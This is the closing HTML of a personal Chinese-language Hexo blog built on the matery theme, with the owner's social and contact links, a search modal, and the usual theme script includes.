        <div class="col s12 m4 l4 social-link social-statis">
    <a href="https://github.com/mondayice?tab=repositories" class="tooltipped" target="_blank" data-tooltip="访问我的GitHub" data-position="top" data-delay="50">
        <i class="fa fa-github"></i>
    </a>



    <a href="mailto:2796751552@qq.com" class="tooltipped" target="_blank" data-tooltip="邮件联系我" data-position="top" data-delay="50">
        <i class="fa fa-envelope-open"></i>
    </a>



    <a href="tencent://AddContact/?fromId=50&fromSubId=1&subcmd=all&uin=2796751552" class="tooltipped" data-tooltip="QQ联系我: 2796751552" data-position="top" data-delay="50">
        <i class="fa fa-qq"></i>
    </a>


</div>
    </div>
</footer>

<div class="progress-bar"></div>
<!--

的
            <a href="https://github.com/blinkfox/hexo-theme-matery" target="_blank">hexo-theme-matery</a>主题

-->

<!-- 搜索遮罩框 -->
<div id="searchModal" class="modal">
    <div class="modal-content">
        <div class="search-header">
            <span class="title"><i class="fa fa-search"></i>&nbsp;&nbsp;搜索</span>
            <input type="search" id="searchInput" name="s" placeholder="请输入搜索的关键字" class="search-input">
        </div>
        <div id="searchResult"></div>
    </div>
</div>

<script src="/js/search.js"></script>
<script type="text/javascript">
$(function () {
    searchFunc("/" + "search.xml", 'searchInput', 'searchResult');
});
</script>
<!-- 回到顶部按钮 -->
<div id="backTop" class="top-scroll">
    <a class="btn-floating btn-large waves-effect waves-light" href="#!">
        <i class="fa fa-angle-up"></i>
    </a>
</div>


<script src="/libs/materialize/materialize.min.js"></script>
<script src="/libs/masonry/masonry.pkgd.min.js"></script>
<script src="/libs/aos/aos.js"></script>
<script src="/libs/scrollprogress/scrollProgress.min.js"></script>
<script src="/libs/lightGallery/js/lightgallery-all.min.js"></script>
<script src="/js/matery.js"></script>

<!-- Global site tag (gtag.js) - Google Analytics -->



    <script src="/libs/others/clicklove.js"></script>


    <script async src="/libs/others/busuanzi.pure.mini.js"></script>


</body>
</html>